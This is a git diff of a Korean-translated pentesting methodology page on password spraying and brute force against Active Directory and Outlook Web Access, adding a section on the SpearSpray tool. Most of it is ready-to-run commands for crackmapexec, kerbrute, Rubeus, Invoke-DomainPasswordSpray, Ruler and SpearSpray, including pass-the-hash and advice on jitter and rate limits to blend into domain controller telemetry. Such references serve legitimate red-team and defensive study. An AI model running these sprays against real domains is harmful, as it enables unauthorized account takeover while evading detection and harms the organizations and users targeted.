diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md
index 5ab6273c9..14cf99ee5 100644
--- a/src/windows-hardening/active-directory-methodology/password-spraying.md
+++ b/src/windows-hardening/active-directory-methodology/password-spraying.md
@@ -1,20 +1,20 @@
-# 비밀번호 스프레이 / 무차별 대입 공격
+# Password Spraying / Brute Force
 
 {{#include ../../banners/hacktricks-training.md}}
 
 
-## **비밀번호 스프레이**
+## **Password Spraying**
 
-여러 **유효한 사용자 이름**을 찾은 후, 발견된 각 사용자에 대해 가장 **일반적인 비밀번호**를 시도할 수 있습니다(환경의 비밀번호 정책을 염두에 두세요).\
-**기본적으로** **최소** **비밀번호** **길이**는 **7**입니다.
+몇 개의 **valid usernames**를 찾으면, 발견한 각 사용자에 대해 가장 일반적인 **common passwords**를 시도해볼 수 있습니다(환경의 **password policy**를 고려하세요).\
+기본적으로 **minimum password length**은 **7**입니다.
 
-일반적인 사용자 이름 목록도 유용할 수 있습니다: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
+common usernames 목록도 유용할 수 있습니다: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
 
-여러 개의 잘못된 비밀번호를 시도하면 **일부 계정이 잠길 수 있습니다**(기본적으로 10개 이상).
+여러 번 wrong passwords를 시도하면 일부 **accounts**가 **lockout**될 수 있다는 점에 주의하세요 (by default 10회 초과).
 
-### 비밀번호 정책 가져오기
+### Get password policy
 
-사용자 자격 증명이나 도메인 사용자로서의 쉘이 있는 경우, **다음 명령어로 비밀번호 정책을 가져올 수 있습니다**:
+만약 일부 user credentials나 domain user로서의 shell이 있다면, **get the password policy with**:
 ```bash
 # From Linux
 crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@@ -31,32 +31,32 @@ net accounts
 
 (Get-DomainPolicy)."SystemAccess" #From powerview
 ```
-### Exploitation from Linux (or all)
+### Linux(또는 모두)에서의 Exploitation
 
-- Using **crackmapexec:**
+- **crackmapexec** 사용:
 ```bash
 crackmapexec smb <IP> -u users.txt -p passwords.txt
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
 crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
 ```
-- [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) 사용하기
+- [**kerbrute**](https://github.com/ropnop/kerbrute) 사용 (Go)
 ```bash
 # Password Spraying
 ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
 # Brute-Force
 ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
 ```
-- [**spray**](https://github.com/Greenwolf/Spray) _**(잠금 방지를 위해 시도 횟수를 지정할 수 있습니다):**_
+- [**spray**](https://github.com/Greenwolf/Spray) _**(계정 잠금을 피하기 위해 시도 횟수를 지정할 수 있습니다):**_
 ```bash
 spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
 ```
-- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) 사용 - 권장하지 않음, 가끔 작동하지 않음
+- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) 사용 (python) - 권장하지 않음. 가끔 작동하지 않음
 ```bash
 python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
 python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
 ```
-- `scanner/smb/smb_login` 모듈을 사용하여 **Metasploit**:
+- **Metasploit**의 `scanner/smb/smb_login` 모듈 사용:
 
 ![](<../../images/image (745).png>)
 
@@ -67,9 +67,9 @@ for u in $(cat users.txt); do
 rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
 done
 ```
-#### From Windows
+#### Windows에서
 
-- [Rubeus](https://github.com/Zer1t0/Rubeus) 브루트 모듈이 포함된 버전:
+- brute module이 포함된 [Rubeus](https://github.com/Zer1t0/Rubeus) 버전 사용:
 ```bash
 # with a list of users
 .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@@ -77,29 +77,94 @@ done
 # check passwords for all users in current domain
 .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
 ```
-- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)를 사용하여 (기본적으로 도메인에서 사용자를 생성할 수 있으며, 도메인에서 비밀번호 정책을 가져와 이에 따라 시도를 제한합니다):
+- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)을 사용하면 (기본적으로 domain에서 사용자를 생성할 수 있으며, domain에서 password policy를 가져와 그에 따라 시도 횟수를 제한합니다):
 ```bash
 Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
-- [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) 사용하여
+- 다음 도구: [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
 ```
 Invoke-SprayEmptyPassword
 ```
-## 무차별 대입 공격
+## Brute Force
 ```bash
 legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
 ```
+### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
+
+Kerberos pre-auth–based spraying은 SMB/NTLM/LDAP 바인드 시도보다 노이즈를 줄이고 AD 잠금 정책과 더 잘 맞습니다. SpearSpray는 LDAP 기반 타게팅, 패턴 엔진, 그리고 정책 인식(도메인 정책 + PSOs + badPwdCount 버퍼)을 결합해 정확하고 안전하게 스프레이합니다. 또한 Neo4j에 손상된 principals를 태그해 BloodHound 경로 분석에 사용할 수 있습니다.
+
+Key ideas:
+- LDAP 사용자 검색(페이징 및 LDAPS 지원), 선택적으로 커스텀 LDAP 필터 사용 가능.
+- 도메인 잠금 정책 + PSO 인지 필터링으로 구성 가능한 시도 버퍼(임계값)를 남겨 사용자 잠금 방지.
+- 빠른 gssapi 바인딩을 사용한 Kerberos pre-auth 검증(DC에서 4625 대신 4768/4771 생성).
+- 이름 등 변수와 각 사용자의 pwdLastSet에서 도출한 시간 값을 사용하는 패턴 기반 사용자별 비밀번호 생성.
+- 스레드, 지터, 초당 최대 요청수로 처리량 제어.
+- 선택적 Neo4j 통합으로 소유한 사용자를 표시하여 BloodHound에 활용.
+
+Basic usage and discovery:
+```bash
+# List available pattern variables
+spearspray -l
+
+# Basic run (LDAP bind over TCP/389)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
+
+# LDAPS (TCP/636)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
+```
+대상 선정 및 패턴 제어:
+```bash
+# Custom LDAP filter (e.g., target specific OU/attributes)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
+-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
+
+# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
+```
+Stealth 및 안전 통제:
+```bash
+# Control concurrency, add jitter, and cap request rate
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
+
+# Leave N attempts in reserve before lockout (default threshold: 2)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
+```
+Neo4j/BloodHound 데이터 보강:
+```bash
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
+```
+패턴 시스템 개요 (patterns.txt):
+```text
+# Example templates consuming per-user attributes and temporal context
+{name}{separator}{year}{suffix}
+{month_en}{separator}{short_year}{suffix}
+{season_en}{separator}{year}{suffix}
+{samaccountname}
+{extra}{separator}{year}{suffix}
+```
+사용 가능한 변수:
+- {name}, {samaccountname}
+- 각 사용자의 pwdLastSet(또는 whenCreated)에서 파생되는 시간 관련 변수: {year}, {short_year}, {month_number}, {month_en}, {season_en}
+- 구성 헬퍼 및 조직 토큰: {separator}, {suffix}, {extra}
+
+운영 주의사항:
+- 가급적 -dc로 PDC-emulator를 쿼리하여 가장 권위 있는 badPwdCount 및 정책 관련 정보를 읽어오세요.
+- badPwdCount 리셋은 관찰 창(observation window) 이후 다음 시도에서 트리거됩니다; 안전을 위해 임계값(threshold)과 타이밍을 사용하세요.
+- Kerberos pre-auth 시도는 DC telemetry에서 4768/4771로 나타납니다; 섞여들기 위해 jitter와 rate-limiting을 사용하세요.
+
+> 팁: SpearSpray의 기본 LDAP 페이지 크기는 200입니다; 필요에 따라 -lps로 조정하세요.
+
 ## Outlook Web Access
 
-Outlook에 대한 p**assword spraying**을 위한 여러 도구가 있습니다.
+p**assword spraying outlook**을 위한 여러 도구가 있습니다.
 
-- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) 사용
-- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) 사용
-- [Ruler](https://github.com/sensepost/ruler) 사용 (신뢰할 수 있음!)
-- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) 사용 (Powershell)
-- [MailSniper](https://github.com/dafthack/MailSniper) 사용 (Powershell)
+- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
+- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
+- With [Ruler](https://github.com/sensepost/ruler) (reliable!)
+- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
+- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
 
-이 도구를 사용하려면 사용자 목록과 비밀번호 / 비밀번호의 작은 목록이 필요합니다.
+이 도구들을 사용하려면 사용자 목록과 스프레이할 단일 password / 소량의 passwords 목록이 필요합니다.
 ```bash
 ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
 [x] Failed: larsson:Summer2020
@@ -118,8 +183,13 @@ Outlook에 대한 p**assword spraying**을 위한 여러 도구가 있습니다.
 - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
 - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
 
-## References
+## 참고자료
 
+- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
+- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
+- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
+- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
+- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
 - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
 - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
 - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)